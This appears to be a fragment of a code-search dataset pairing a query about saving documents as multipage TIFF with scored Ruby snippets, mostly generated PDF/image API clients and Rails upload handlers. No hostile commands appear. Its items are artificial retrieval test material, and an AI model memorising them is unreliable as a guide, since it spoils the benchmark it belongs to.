"aac3b4bb2ef2e332a12c63c970dd0125", "score": "0.54635936", "text": "def destroy\n @bank = Bank.find(params[:id])\n @bank.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_banks_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
39559c2225f24d7f105251d030e11763
Saves a previously uploaded document as multipage TIFF, and sends the file data in a JSONserialized object.
[ { "docid": "22344179ae989f011924405d3f9d8c26", "score": "0.5818366", "text": "def save_as_tiff_multipage(pdf_save_as_tiff_multipage_parameters, opts = {})\n data, _status_code, _headers = save_as_tiff_multipage_with_http_info(pdf_save_as_tiff_multipage_parameters, opts)\n data\n end", "title": "" } ]
[ { "docid": "09250dbad14b4560d6c10129c8a80819", "score": "0.66092163", "text": "def save_as_tiff_multipage_file_with_http_info(pdf_save_as_tiff_multipage_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PDFApi.save_as_tiff_multipage_file ...'\n end\n # verify the required parameter 'pdf_save_as_tiff_multipage_parameters' is set\n if @api_client.config.client_side_validation && pdf_save_as_tiff_multipage_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'pdf_save_as_tiff_multipage_parameters' when calling PDFApi.save_as_tiff_multipage_file\"\n end\n # resource path\n local_var_path = '/api/pdf/SaveAsTIFFMultipageFile'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(pdf_save_as_tiff_multipage_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'File' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PDFApi#save_as_tiff_multipage_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "72aa2e88bceeb709748b4d29e7729c5e", "score": "0.6505779", "text": "def save_as_tiff_multipage_with_http_info(pdf_save_as_tiff_multipage_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PDFApi.save_as_tiff_multipage ...'\n end\n # verify the required parameter 'pdf_save_as_tiff_multipage_parameters' is set\n if @api_client.config.client_side_validation && pdf_save_as_tiff_multipage_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'pdf_save_as_tiff_multipage_parameters' when calling PDFApi.save_as_tiff_multipage\"\n end\n # resource path\n local_var_path = '/api/pdf/SaveAsTIFFMultipage'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(pdf_save_as_tiff_multipage_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'PdfSaveAsTIFFMultipageResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PDFApi#save_as_tiff_multipage\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "1a4adc7070ae1c683a5dceaf9b081e35", "score": "0.61125904", "text": "def convert(localFile,saveImageFormat,pageNumber,height,width)\r\n\t\t urlDoc = $productURI + '/pdf/' + @name + '/pages/' + pageNumber + '?format=' + saveImageFormat + '&width=' + width + '&height=' + height\r\n\t\t signedURL = Common::Utils.sign(urlDoc)\r\n\t\t response = RestClient.get(signedURL, :accept => 'application/json')\r\n\t\t\tCommon::Utils.saveFile(response,localFile)\r\n end", "title": "" }, { "docid": "45b4051204318f3294fcd616ae757169", "score": "0.6098037", "text": "def convert_upload_preview_jpgs\n\n page = Page.find(params[:page][:id])\n page.save!\n\n page.save_file(params[:page][:result_jpg], :jpg)\n page.save_file(params[:page][:result_sjpg], :s_jpg)\n\n push_upload_update('Converter', \"Preview converted\", page)\n\n head :ok\n\n end", "title": "" }, { "docid": "79c98e6c91607ee4d3eabf25b25806bd", "score": "0.60936445", "text": "def upload_document\n return bad_request unless params[:file]\n @document = Document.upload(params, current_account, current_organization)\n @project_id = params[:project]\n if params[:multi_file_upload]\n json @document\n else\n # Render the HTML/script...\n end\n end", "title": "" }, { "docid": "e1e887dc76c715be530190e8264a6a14", "score": "0.608942", "text": "def save\n forbidden! unless current_user.manage_files?\n obj = JSON.parse(node.elements.first.content)\n file = Upload.find(obj['id'])\n\n unless file\n send_error('item-not-found')\n return\n end\n\n file.name = obj['name']\n file.labels = obj['labels']\n if file.valid?\n file.save\n send_doc(file)\n else\n send_error('not-acceptable')\n end\n end", "title": "" }, { "docid": "f57eb82553c79949fe44670bc23d5524", "score": "0.60844994", "text": "def image_save_as_tiff_multipage_file_with_http_info(image_save_as_tiff_multipage_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ImageApi.image_save_as_tiff_multipage_file ...'\n end\n # verify the required parameter 'image_save_as_tiff_multipage_parameters' is set\n if @api_client.config.client_side_validation && image_save_as_tiff_multipage_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'image_save_as_tiff_multipage_parameters' when calling ImageApi.image_save_as_tiff_multipage_file\"\n end\n # resource path\n local_var_path = '/api/image/ImageSaveAsTIFFMultipageFile'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(image_save_as_tiff_multipage_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'File' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ImageApi#image_save_as_tiff_multipage_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "96fc5969bdfd226b9ddc87d0263d83f3", "score": "0.6084346", "text": "def upload_documents\n # Do the upload & save the records info\n doc = Document.new(document_params)\n doc.staff = current_staff\n doc.save!\n\n # After upload successfully, update the metadata for the uploaded files\n doc.filename = doc.file.filename\n doc.url = doc.file.url\n doc.size = doc.file.size\n doc.physic_path = doc.file.path\n doc.content_type = doc.file.content_type\n doc.save!\n\n render json: {\n id: doc.id\n }, status: :created\n end", "title": "" }, { "docid": "e2fe01ae5c334bd45821fdc521636319", "score": "0.6054094", "text": "def convert(localFile,saveImageFormat,pageNumber,height,width)\n\t\t url_doc = $productURI + '/pdf/' + @name + '/pages/' + pageNumber + '?format=' + saveImageFormat + '&width=' + width + '&height=' + height\n\t\t signed_url = Common::Utils.sign(url_doc)\n\t\t response = RestClient.get(signed_url, :accept => 'application/json')\n Common::Utils.saveFile(response,localFile)\n end", "title": "" }, { "docid": "680cad6999b09ac16263b5a8697a2c1c", "score": "0.60382736", "text": "def save_as_tiff_multipage_file(pdf_save_as_tiff_multipage_parameters, opts = {})\n data, _status_code, _headers = save_as_tiff_multipage_file_with_http_info(pdf_save_as_tiff_multipage_parameters, opts)\n data\n end", "title": "" }, { "docid": "82023a6dce2e79067af003e9f026ea23", "score": "0.60328954", "text": "def parse_and_upload!\n parsed = multipart.open do |file|\n VBADocuments::MultipartParser.parse(file.path)\n end\n parsed_files.attach(io: StringIO.new(parsed['metadata'].to_s), filename: \"#{guid}_metadata.json\")\n pdf_keys = parsed.keys - ['metadata']\n pdf_keys.each do |k|\n parsed_files.attach(io: File.open(parsed[k]), filename: \"#{guid}_#{k}.pdf\")\n end\n save!\n end", "title": "" }, { "docid": "bebc86162456e06d2fff3bffd0c46e52", "score": "0.60127336", "text": "def create\n @upload = Upload.new(upload_params)\n @upload.file = params[:file] # Assign a file like this, or\n @upload.user_id = session[:user_id]\n @upload.counter_a = $imagecounter\n \n \n \n respond_to do |format|\n if @upload.save\n urii = @upload.file\n urii=\"#{urii}\"\n uri =\"public#{urii}\"\n im = Magick::Image.read(uri)\n pdf = Magick::ImageList.new(uri)\n \n pdf.each_with_index do |element ,i| \n element.write(uri +\"#{i}\"+\".jpg\")\n @slide= Slide.new()\n @slide.user_id = session[:user_id]\n @slide.upload_id = @upload.id\n @slide.url =urii +\"#{i}\"+\".jpg\"\n @slide.save\n end\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render :show, status: :created, location: @upload }\n else\n format.html { render :new }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2e5955533287caa09c14be244c13ee9", "score": "0.59818065", "text": "def test_save_as_tiff\n local_name = 'test_multi_pages.docx'\n remote_name = 'TestSaveAsTiff.pdf'\n\n upload_file File.join(local_test_folder, 'Common/' + local_name), remote_folder + '/' + remote_name\n\n request_save_options = TiffSaveOptionsData.new({:FileName => remote_test_out + '/abc.tiff'})\n request = SaveAsTiffRequest.new(name: remote_name, save_options: request_save_options, folder: remote_folder)\n\n result = @words_api.save_as_tiff(request)\n assert_equal false, result.nil?\n end", "title": "" }, { "docid": "21f223279a26e8ee910d6fd81240002b", "score": "0.59637725", "text": "def upload\n validate_document_provided\n validate_documents_content_type\n validate_documents_page_size\n find_poa_by_id\n check_file_number_exists!\n\n @power_of_attorney.set_file_data!(documents.first, params[:doc_type])\n @power_of_attorney.status = ClaimsApi::PowerOfAttorney::SUBMITTED\n @power_of_attorney.save!\n @power_of_attorney.reload\n\n # If upload is successful, then the PoaUpater job is also called to update the code in BGS.\n ClaimsApi::PoaVBMSUploadJob.perform_async(@power_of_attorney.id)\n\n render json: @power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end", "title": "" }, { "docid": "4f203b823ffe8d5323b10a231bfc0d5c", "score": "0.5921193", "text": "def image_save_as_tiff_multipage_with_http_info(image_save_as_tiff_multipage_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ImageApi.image_save_as_tiff_multipage ...'\n end\n # verify the required parameter 'image_save_as_tiff_multipage_parameters' is set\n if @api_client.config.client_side_validation && image_save_as_tiff_multipage_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'image_save_as_tiff_multipage_parameters' when calling ImageApi.image_save_as_tiff_multipage\"\n end\n # resource path\n local_var_path = '/api/image/ImageSaveAsTIFFMultipage'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(image_save_as_tiff_multipage_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'ImageSaveAsTIFFMultipageResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ImageApi#image_save_as_tiff_multipage\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "17b04dfa2d9c72e7968f981052cc682e", "score": "0.5823914", "text": "def save_as_tiff_file_with_http_info(pdf_save_as_tiff_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PDFApi.save_as_tiff_file ...'\n end\n # verify the required parameter 'pdf_save_as_tiff_parameters' is set\n if @api_client.config.client_side_validation && pdf_save_as_tiff_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'pdf_save_as_tiff_parameters' when calling PDFApi.save_as_tiff_file\"\n end\n # resource path\n local_var_path = '/api/pdf/SaveAsTIFFFile'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(pdf_save_as_tiff_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'File' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PDFApi#save_as_tiff_file\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "501b8b49141ad7bc2e46f7da91f309a1", "score": "0.58021396", "text": "def save_as_tiff_with_http_info(pdf_save_as_tiff_parameters, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PDFApi.save_as_tiff ...'\n end\n # verify the required parameter 'pdf_save_as_tiff_parameters' is set\n if @api_client.config.client_side_validation && pdf_save_as_tiff_parameters.nil?\n fail ArgumentError, \"Missing the required parameter 'pdf_save_as_tiff_parameters' when calling PDFApi.save_as_tiff\"\n end\n # resource path\n local_var_path = '/api/pdf/SaveAsTIFF'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain', 'application/json', 'text/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json-patch+json', 'application/json', 'text/json', 'application/*+json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(pdf_save_as_tiff_parameters) \n\n # return_type\n return_type = opts[:return_type] || 'PdfSaveAsTIFFResponse' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PDFApi#save_as_tiff\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9c0601119b242d2dad6bee461c0e0191", "score": "0.5746447", "text": "def upload_documents(file, save: true)\n page = @agent.page\n form = page.form_with(action: \"#{base_url}/documents\")\n form.file_upload.file_name = file\n @agent.submit(form)\n\n page = @agent.page\n form = page.form_with(action: \"/steps/details/documents_checklist\")\n form.checkboxes.find {|box| box.name =~ /original_notice_provided/}.check\n form.checkboxes.find {|box| box.name =~ /review_conclusion_provided/}.check\n @agent.submit(form)\n\n save_normalised if save\n end", "title": "" }, { "docid": "dd23c392d6104edbe9fd050ef88c0211", "score": "0.5739086", "text": "def save_attachment\n document.save\n end", "title": "" }, { "docid": "049f379a9fadfa748b32c39360f95e66", "score": "0.57112205", "text": "def create\n @singlewide_picture = SinglewidePicture.new(params[:singlewide_picture])\n\n if @singlewide_picture.save\n respond_to do |format|\n format.html {\n render :json => [@singlewide_picture.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@singlewide_picture.to_jq_upload].to_json\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n end", "title": "" }, { "docid": "629a8e27b65de516b7411f75602927aa", "score": "0.5710493", "text": "def create\n @document = Document.new(params.require(:document).permit(:file_path).merge(:user_id => current_user.id))\n @document.name = @document.file_path.file.filename\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n reader = PDF::Reader.new(\"public/uploads/#{@document.id}/#{@document.name}\")\n count=reader.page_count\n document_path = \"public/uploads/#{@document.id}/#{@document.name}\"\n document_name = File.basename(document_path,File.extname(document_path))\n \n im = Magick::Image.read(\"public/uploads/#{@document.id}/#{@document.name}\")\n\n for i in 1..count\n im[i-1].write(\"public/uploads/#{@document.id}/#{document_name}\"+\"_#{i}\"+ \".png\")\n im[i-1] = im[i-1].thumbnail(240,240)\n\n\n Dir.mkdir(\"public/uploads/#{@document.id}/thumbnails\")unless File.exists?(\"public/uploads/#{@document.id}/thumbnails\")\n im[i-1].write(\"public/uploads/#{@document.id}/thumbnails/#{document_name}_\"+\"#{i}\"+\".png\")\n @slide = Slide.create!(params.require(:document).permit(:document_id).merge(:document_id=>@document.id,:number=>i,:file_path=>\"#{document_name}_\"+\"#{i}\"+\".png\"))\n\n end\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "cc4f1f6477aac1a53c6e08696b623e8d", "score": "0.570475", "text": "def create\n @document = Document.new(upload: params[:upload])\n @document.title = params[:title]\n \n respond_to do |format|\n if @document.save\n format.html {\n render json: [@document.to_jq_upload].to_json,\n content_type: 'text/html',\n layout: false\n }\n format.json { render json: {files: [@document.to_jq_upload]}, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c4b5025772657f4fe610fbd34ab2e22", "score": "0.56872535", "text": "def upload_file\n file_upload = params[:file]\n\n image = MiniMagick::Image.open(file_upload.tempfile.path)\n image.resize \"500x500>\"\n image.format \"jpeg\"\n\n tempfile = Tempfile.new \"item_picture\"\n image.write(tempfile)\n\n owner = \"#{current_user.id}/#{params[:owner]}\"\n\n @upload = Upload.find_by(owner: owner) || Upload.new(owner: owner)\n\n @upload.mime_type = \"image/jpeg\"\n @upload.extension = \".jpeg\"\n @upload.body = tempfile.read\n\n @upload.save!\n\n StoreUploadToCloudJob.set(wait: 1.minute).perform_later @upload\n\n render json: { picture: url_for(:action => :file, :id => \"#{@upload.id}-#{@upload.updated_at.to_i}\", :format => \"jpeg\" ) }\n rescue StandardError => ex\n logger.error ex.backtrace\n render json: { error: \"Ошибка при загрузке изображения\" }\n end", "title": "" }, { "docid": "4fc356117f97bd29dc02d70074211264", "score": "0.5641692", "text": "def store(file)\n @client.multipart_post(path_for()) do\n [\n \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"#{file.file_name.basename rescue \"null\"}\\\"\\r\\nContent-Type: #{file.mime_type}\\r\\n\\r\\n#{file.content}\",\n \"Content-Disposition: form-data; name=\\\"MimeMajor\\\"\\r\\n\\r\\n#{file.mime_major}\",\n \"Content-Disposition: form-data; name=\\\"MimeMinor\\\"\\r\\n\\r\\n#{file.mime_minor}\",\n \"Content-Disposition: form-data; name=\\\"FileClass\\\"\\r\\n\\r\\n#{mfs_class_name}\"\n ]\n end\n end", "title": "" }, { "docid": "9ba49425833cc3b96020a1a9ec62b23a", "score": "0.5616074", "text": "def to_jq_upload\r\n {:size => self.raw.size, :name=>file_name, :url=>multiresimage_path(self), :delete_url=>multiresimage_path(self), :delete_type=>'DELETE' }\r\n end", "title": "" }, { "docid": "c3967d75ae828f1c1daea32635afcbf6", "score": "0.5599667", "text": "def save_encounter_form\n patient = Patient.find(params[:id])\n filename = \"temp#{Time.current.to_i}.png\"\n File.open(filename, \"wb\") do|f|\n f.write(Base64.decode64(params[:image]))\n end\n file = File.open(filename)\n document = patient.documents.new(:file=> file, :name=>Time.current.to_s)\n document.save!\n file.close\n File.delete(filename)\n flash[:notice] = \"Successfully saved the EMR for patient.\"\n redirect_to \"/patients/#{patient.id}/documents\"\n end", "title": "" }, { "docid": "e380b53b8bbb5935c5084d5b41f1ba2e", "score": "0.55889755", "text": "def converter_upload_preview_jpgs(result_jpg, result_sjpg, page_id)\n puts \"*** Upload JPGS to #{@web_server_uri} via convert_upload_preview_jpgs\"\n RestClient.post @web_server_uri + '/convert_upload_preview_jpgs', {:page => {:result_sjpg => result_sjpg, :result_jpg => result_jpg, :id => page_id}}\n end", "title": "" }, { "docid": "df31ffb402f89c00561c13a46c101764", "score": "0.55530566", "text": "def save_as_tiff(request)\n begin\n data, _status_code, _headers = save_as_tiff_with_http_info(request)\n rescue ApiError => e\n if e.code == 401\n request_token\n data, _status_code, _headers = save_as_tiff_with_http_info(request)\n else\n raise\n end\n end\n data\n end", "title": "" }, { "docid": "e2e7daecca58536a1f6c105b4e94aa7d", "score": "0.5548761", "text": "def upload_pdfs\n\n end", "title": "" }, { "docid": "b75551d54cc5b4602179c619abaf0c38", "score": "0.5546975", "text": "def create\n \n \n if params[:upload][:type].blank?\n type = MIME::Types.type_for(params[:upload][:attachment].original_filename).to_s\n clazz = (type=~/image/) ? Image : Document\n @upload = clazz.new(params[:upload])\n else\n \n @upload = params[:upload][:type].constantize.new(params[:upload])\n end\n @upload.attachment_content_type = type.blank? ? \"unknow\" : type\n # convert orient automaticlly \n if @upload.type == \"Image\" && params[:upload][:attachment]\n `convert -auto-orient #{params[:upload][:attachment].tempfile.path} #{params[:upload][:attachment].tempfile.path}`\n end\n\n respond_to do |format|\n if @upload.save\n #flash[:notice] = 'Upload was successfully created.'\n format.html { render :layout=>false }\n format.xml { render :xml => @upload, :status => :created}\n format.js { render :json=>@upload.to_json(:methods=>[:file_path])}\n else\n format.html { render :text => %Q[<script>alert(\"#{@upload.errors[:base]}\");window.history.go(-1);</script>] }\n format.xml { render :xml => @upload.errors, :status => :unprocessable_entity }\n format.js { render :json=>@upload.errors}\n end\n end\n\n\n end", "title": "" }, { "docid": "0bb9aefe2190c04e0635fa972a036500", "score": "0.554651", "text": "def paper_answer_upload\r\n # allow receiving all parameters \r\n params.permit!\r\n\r\n # response format pre-defined\r\n result = {\r\n :orig_file_id => nil,\r\n :paper_html => nil,\r\n :answer_html => nil,\r\n }\r\n\r\n f_uploaded = Common::PaperFile.multiple_upload({\r\n :paper => params[:doc_path], \r\n :answer => params[:answer_path]\r\n })\r\n result[:orig_file_id] = f_uploaded.id\r\n result[:paper_html] = Common::Wc::convert_doc_through_wc(f_uploaded.paper.current_path)\r\n result[:answer_html] = Common::Wc::convert_doc_through_wc(f_uploaded.answer.current_path)\r\n\r\n render :json => result.to_json\r\n end", "title": "" }, { "docid": "1e365e9d2320598cc6c77d767bcf5e3d", "score": "0.5530169", "text": "def create\n @report = Report.new(user_params)\n if params[:report][:picture] != ''\n\n uploaded_io = params[:report][:picture]\n metadata = \"data:image/jpeg;base64,\"\n base64_string = uploaded_io[metadata.size..-1]\n blob = Base64.decode64(base64_string)\n image = MiniMagick::Image.read(blob)\n image.size 48763\n\n # Save in other format\n image.format 'png'\n image.write @report.apc_votes.to_s+'image.png'\n @report.picture = image\n\n else\n @report.picture = \"\"\n\n end\n\n\n if params[:report][:sheet] != ''\n\n uploaded_ioe = params[:report][:sheet]\n metadatae = \"data:image/jpeg;base64,\"\n base64_stringe = uploaded_ioe[metadatae.size..-1]\n blobe = Base64.decode64(base64_stringe)\n imagee = MiniMagick::Image.read(blobe)\n imagee.size 48763\n\n # Save in other format\n imagee.format 'png'\n imagee.write @report.apc_votes.to_s+'image.png'\n @report.sheet = imagee\n\n else\n @report.sheet = \"\"\n\n end\n\n\n @report.user = @current_user\n if @report.save\n \n render json: @report, serializer: Api::V1::ReportsSerializer, :status => 201\n else\n render json: \"errors\", :status => 422\n end \n end", "title": "" }, { "docid": "3917ce3fe889d56a61aeecc3ef56d0d4", "score": "0.5529126", "text": "def save_upload\n @document = @project.documents.new(params[:document])\n\n authorize @document, :create?\n\n @document.user_id = current_user.id\n @document.provider = 'local'\n \n respond_to do |format|\n if @document.save\n format.html {redirect_to project_documents_path(@project)}\n else\n # Clear on base as paperclip adds messages twice (purposely https://github.com/thoughtbot/paperclip/commit/2aeb491fa79df886a39c35911603fad053a201c0)\n @document.errors[:attachment].clear\n format.html {render 'new_upload'}\n end\n end\n end", "title": "" }, { "docid": "dc8f2fbdabeb41ae025d7f1cd25bbf5e", "score": "0.55230945", "text": "def upload_document\n begin\n file = params[:file]\n file_name = params[:file_name]\n\n path = Rails.public_path.join(\"uploads/documents/\")\n path.mkpath unless path.exist?\n\n File.open(path.join(file_name), 'wb') do |f|\n f.write(file.read)\n end\n\n render json: {'document' => \"uploads/documents/#{file_name}\"}\n return\n rescue Exception => e\n render json: {:error => \"Có lỗi xảy ra #{e.message}\"}\n end\n end", "title": "" }, { "docid": "9f8955763250304e7ca868c922fc4591", "score": "0.5514203", "text": "def process_multiple_files\n params[:upload_data].each do |file|\n document = Document.new(:assignment_number => @folder.next_document_assignment)\n document.working_file = file\n @folder.documents << document\n end\n end", "title": "" }, { "docid": "2780e8baf77dee30691f5ebfe8d137f8", "score": "0.551409", "text": "def upload\n data = params[:json_data]\n\t\trecalls = JSON.parse(data)\n\t\trecalls.each do |recall|\n\t\t\t@recall = Recall.find_by_id(recall['id'])\n\t\t\tif @recall.nil?\n\t\t\t\t@recall = Recall.create(:id => recall['id'], :product_id => recall['product_id'], :reason => recall['reason'], :level_id => recall['level_id'], :region_id => recall['region_id'], :contact_id => recall['contact_id'], :date => recall['date'])\n\t\t\tend\n\t\tend\n\t\t\n respond_to do |format|\n format.html { redirect_to :controller => 'recalls', :action => 'index' }\n end\n \n end", "title": "" }, { "docid": "aff2b0b7f82542fe44b878ed1387996d", "score": "0.55104494", "text": "def convert(localFile,saveFormat)\r\n\t\t urlDoc = $productURI + '/slides/' + @name + '?format=' + saveFormat\r\n\t\t signedURL = Common::Utils.sign(urlDoc)\r\n\t\t response = RestClient.get(signedURL, :accept => 'application/json')\r\n\t\t\tCommon::Utils.saveFile(response,localFile)\r\n end", "title": "" }, { "docid": "55b279707f0de9be82b01226b30911c9", "score": "0.5497336", "text": "def test_get_page_convert_to_tiff\n name = \"4pages.pdf\"\n upload_file(name)\n\n page_number = 2\n opts = {\n :folder => @temp_folder\n }\n\n response = @pdf_api.get_page_convert_to_tiff(name, page_number, opts)\n assert(response, 'Failed to convert page as tiff.')\n end", "title": "" }, { "docid": "bf916fc309281b73776d8afd7ef61088", "score": "0.54828495", "text": "def save_attachments\n assigned_attachments.each_pair do |name, io|\n next unless io.respond_to?(:read)\n io.rewind if io.respond_to?(:rewind)\n grid.delete(send(name).id) rescue nil\n grid.upload_from_stream(send(name).name, io, {\n :file_id =>send(name).id,\n :content_type => send(name).type,\n :metadata => { :content_type => send(name).type },\n :write => {\n :w => 1,\n :j => true\n }\n })\n end\n assigned_attachments.clear\n end", "title": "" }, { "docid": "352679e5fdfd8b95bb4f349731d5aba4", "score": "0.54767317", "text": "def create\n #loop on each file from array and create document\n params[:document][:filearrays].each do |file|\n @document = Document.new(:document => file, :documentable_id => params[:document][:documentable_id], :documentable_type => params[:document][:documentable_type])\n if @document.save\n flash[:notice] = 'Successfully uploaded the document.'\n else\n flash[:error] = 'There was a problem uploading the document.'\n end\n end\n \n redirect_to :back\n end", "title": "" }, { "docid": "3135ef06c226d13125eae2c10539ec08", "score": "0.5467295", "text": "def create_batch\n authorize @intellectual_object, :create?\n begin\n files = JSON.parse(request.body.read)\n rescue JSON::ParserError, Exception => e\n respond_to do |format|\n format.json { render json: {error: \"JSON parse error: #{e.message}\"}, status: 400 } and return\n end\n end\n GenericFile.transaction do\n @generic_files = []\n files.each do |gf|\n file = @intellectual_object.generic_files.new(gf)\n file.state = 'A'\n file.institution_id = @intellectual_object.institution_id\n @generic_files.push(file)\n end\n end\n respond_to do |format|\n if @intellectual_object.save\n format.json { render json: array_as_json(@generic_files), status: :created }\n else\n errors = @generic_files.map(&:errors)\n format.json { render json: errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ade955ec2193e822159137cc64ed6994", "score": "0.54620224", "text": "def save files\n end", "title": "" }, { "docid": "dd3636f2d1129c417ae84b2d20eff3dc", "score": "0.5459171", "text": 